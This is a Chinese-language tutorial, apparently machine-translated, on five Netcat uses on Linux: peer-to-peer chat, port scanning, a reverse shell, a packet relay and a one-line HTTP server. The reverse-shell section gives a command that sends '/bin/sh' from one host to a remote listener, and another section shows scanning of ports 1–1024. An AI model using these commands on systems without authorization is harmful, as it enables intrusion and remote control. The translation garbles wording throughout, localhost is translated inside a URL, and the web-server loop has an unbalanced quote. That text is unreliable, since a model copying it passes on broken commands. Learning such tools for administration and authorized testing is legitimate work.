Netcat 的 5 种简单直接的用途 Linux

Netcat 是一个强大的命令行网络实用程序 Linux 可以发送和监听 TCP 和 UDP 数据包。 与其他网络工具不同,Netcat 极其简单。 然而,由于其简单性,也可以通过网络进行几乎任何类型的活动。

本文将向您展示 5 个可以使用 Netcat 完成的简单网络任务。 此外,本文还将重点介绍 Netcat 的特殊之处以及为什么应将其包含在您的网络中 Linux 工具包。

内容

Netcat 是如何工作的以及为什么使用它?

Netcat 是一个可以发送和接收网络数据包的基本实用程序。 它于 1995 年由一位名叫 Hobbit 的化名程序员首次发布。 从那时起,Netcat就成为了大家的重要组成部分 Linux 分配。

从本质上讲,Netcat 的工作原理是从一个设备发送网络请求 Linux 托管另一个。 该网络请求可以包含任何类型的数据,并且您可以在任何端口上发送它。

这种方法意味着 Netcat 可以建立任何类型的网络连接。 例如,该程序可以创建直接 TCP 连接,您可以使用它来传输文件或创建反向连接Shell- 会话可以使用。

图片来源: 佩德罗·拉斯特拉来自 Unsplash

1.点对点聊天会话

Netcat 最基本的用途之一是两个人之间的简单点对点聊天会话 Linux 机械。 这是一种不依赖第三方服务器发送和接收信息的通信方法。

  1. 为此,您需要在本地计算机上打开 49152 到 65536 之间的端口。 在这里,远程主机可以连接并向您的计算机发送任何信息。
sudo ufw allow 50000
  1. 您还需要在远程主机上打开另一个端口,以便您的计算机可以向其发送信息:
sudo ufw allow 50001
  1. 跑步 netcat 在您的计算机上使用以下参数:
nc -lp 50000

这将打开一个 Netcat 会话,该会话正在主动侦听端口 50000 上的数据。

  1. 远程主机现在可以将任何文本数据发送到您的本地计算机。 例如,以下命令将系统标准输入发送到远程计算机。
cat - | nc 192.168.122.136 50000
  1. 此外,要回复消息,远程主机必须运行监视守护进程:
nc -lp 50001
  1. 现在您还可以从本地计算机向远程主机发送消息:
cat - | nc 192.168.122.177 50001

2. 简单的端口扫描器

端口扫描器是一个简单的实用程序,用于检查计算机上的一组端口是否可从远程主机访问。 如果您不确定系统上是否打开了适当的端口,这非常有用。

要搜索单个端口,您可以运行 nc -v 接下来是您要检查的 IP 地址和端口:

nc -v 192.168.122.177 80
显示端口 80 的简单端口扫描的终端。

您还可以指定一个数字范围,Netcat 将在其中顺序检查该范围内的每个端口号。 例如,运行以下命令将搜索所有打开的“已知”端口:

nc -v 192.168.122.177 1-1024
显示批量扫描的终端

端口轮询的缺点之一是它会产生不必要的网络流量。 在小型家庭网络上测试大量端口时,这可能是一个问题。

要解决此问题,请启用 Netcat 的“零 I/O”模式,该模式不会在远程主机上生成网络活动:

nc -zv 192.168.122.177 1-1024
显示使用 Netcat 进行批量端口扫描且无 I/O 的终端。

供你参考: 了解如何在没有它的情况下使用 nmap sudo 收集有关本地网络上的计算机的信息。

3. 反转 Shell

反向 shell 是渗透测试的首要任务 Linux。 这是远程Shell-即使没有打开输入端口也允许您控制系统的实例。 当您需要访问没有 SSH 访问权限的计算机时,这使得反向 shell 非常方便。

  1. 扭转Shell 要创建,您需要在本地计算机上打开一个侦听器守护进程:
nc -lp 50000
  1. 在远程计算机上启动 Netcat 连接。 在这种情况下,您还需要 Shell-通过远程计算机环境:
nc -e /bin/sh 192.168.122.136 50000

笔记: 上述命令仅适用于非Ubuntu 分布。 为此 Ubuntu 您需要安装 netcat-traditional 软件包并将 nc 替换为 nc.traditional。

  1. 返回本地计算机并运行 Shell-发出命令。 例如操作 ls 打印远程用户的当前目录。
ls -la
显示成功反向输出的终端Shell 显示。
  1. 扭转Shell- 要结束会话,您可以在本地计算机的侦听器守护程序上按 Ctrl + C。
关闭反向的终端Shell 在本地计算机上。

很高兴知道: 了解如何扭转你的Shell 通过学习基础知识可以有效地使用 Shell-学习脚本编写。

4. 基本数据包中继

除了直接读取和写入网络流之外,您还可以使用 Netcat 将传入连接重定向到任何传出端口。 这是通过使用 UNIX 管道链接多个 Netcat 侦听器和客户端会话来实现的。

  1. 创建一个 Netcat 会话,侦听端口 50000。 这用作基本中继的传出端口:
nc -lv localhost 50000
  1. 打开一个新终端并运行以下命令:
nc -lv localhost 50001 | nc localhost 50000

这将在端口 50001 上创建一个新的侦听器守护程序,并自动将该端口上的所有数据包重定向到端口 50000。

显示两个端口之间直通连接的终端。
  1. 现在,您可以将数据发送到输入端口,Netcat 会自动将输出重定向到您的输出端口。
echo "MakeTechEasier" | nc localhost 50001
显示正在运行的简单数据包中继的终端。
  1. 除了本地端口之外,您还可以使用此功能将任何网络流量重定向到另一台计算机。 例如,以下代码将端口 50000 上的数据发送到另一个系统上的同一端口:
nc -lv localhost 50000 | nc 192.168.122.177 50000
显示两台主机之间简单数据包转发的终端。

笔记:您需要运行多个守护进程才能正常工作,并且传递的数据未加密。

5. 基本HTTP服务器

即使您只想提供单个页面,设置 HTTP 服务器也可能是一个复杂的过程。 在这方面,Netcat 还可以充当一个简单的静态 Web 服务器,您可以启动它 Linux 无需安装额外的工具。

  1. 创建一个简单的 HTTP 响应文件。 以下代码片段显示一个带有简单消息的网页:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!
 
<!doctype html>
<html>
    <body>
    <h1>Hello MakeTechEasier!</h1>
    </body>
</html>
  1. 将其保存为您的主目录中的“index.http”。
显示简单 HTTP 响应结构的终端。
  1. 运行以下命令:
while true; do { echo -e 'cat /home/$USER/index.http; } | nc -lv localhost 8080; done
显示简单运行的 Netcat Web 服务器的终端。

您现在已经有了一个可以工作的网络服务器。 您可以通过打开网络浏览器并转至 https://本地主机:8080

显示正在运行的 Netcat Web 服务器为网页提供服务的屏幕截图。
  1. 在终端上按 Ctrl + C 可结束当前 Web 服务器会话。
显示基本 Netcat Web 服务器关闭过程的终端。

笔记:如您所见,这只是一个非常简单的 HTTP 服务器并且不安全。 如果您运行自己的服务器,则应遵循以下提示来保护您的服务器。

很高兴知道: 了解如何使用 sed 编辑文本流来有效管理文件。

经常问的问题

我无法使用 Netcat 连接到远程计算机。

此问题很可能是由于远程计算机上的防火墙端口被阻止造成的。 您需要确保计算机上使用的端口对传入和传出连接开放。 例如,你必须运行 sudo ufw allow 49999 如果您想在远程计算机上使用端口 49999。

是否可以使用 Netcat 连接到任何主机?

不。 尽管 Netcat 可以读取和写入任何网络流,但它无法连接到系统网络上不可见的计算机。 这包括未启用端口转发的专用网络和没有网络访问权限的气隙系统。

是否可以在 Netcat 中伪造连接?

不。 这是因为 Netcat 只能从有效的网络接口发送和接收数据包。 但是,如果您有多个网络接口,则可以更改特定数据包的来源。

例如你可以运行 nc -l -s 10.0.0.2 -p 50000 告诉 Netcat 通过 IP 地址“10.0.0.2”的接口显式发送数据包。

照片来源: 这是来自 Unsplash 的工程 RAEng。 Ramces Red 的所有改动和截图。

订阅我们的新闻!

我们的最新教程直接发送到您的收件箱

订阅所有时事通讯。

注册即表示您同意我们的隐私政策,并且欧洲用户同意数据传输政策。 我们不会分享您的信息,您可以随时取消订阅。

订阅